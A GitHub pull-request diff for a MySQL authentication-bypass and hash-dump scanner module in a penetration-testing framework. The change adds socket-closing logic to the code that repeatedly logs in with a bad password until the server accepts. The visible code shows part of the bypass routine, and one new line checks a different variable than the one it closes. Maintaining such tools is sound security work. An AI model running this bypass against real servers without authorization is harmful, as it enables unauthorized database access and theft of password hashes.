Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update mysql authbypass hashdump module to correctly close sockets #18449

Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
Original file line number Diff line number Diff line change
Expand Up @@ -61,8 +61,10 @@ def run_host(ip)

begin
socket = connect(false)
close_required = true
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: socket)
results << mysql_client
close_required = false

print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"

Expand All @@ -76,6 +78,8 @@ def run_host(ip)
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
ensure
socket.close if socket && close_required
end

# Short circuit if we already won
Expand Down Expand Up @@ -112,14 +116,18 @@ def run_host(ip)
t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
close_required = true
s = connect(false)
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: s)

print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
results << mysql_client
close_required = false
rescue ::Mysql::AccessDeniedError
rescue ::Exception => e
print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
ensure
s.close if socket && close_required
end
end

Expand Down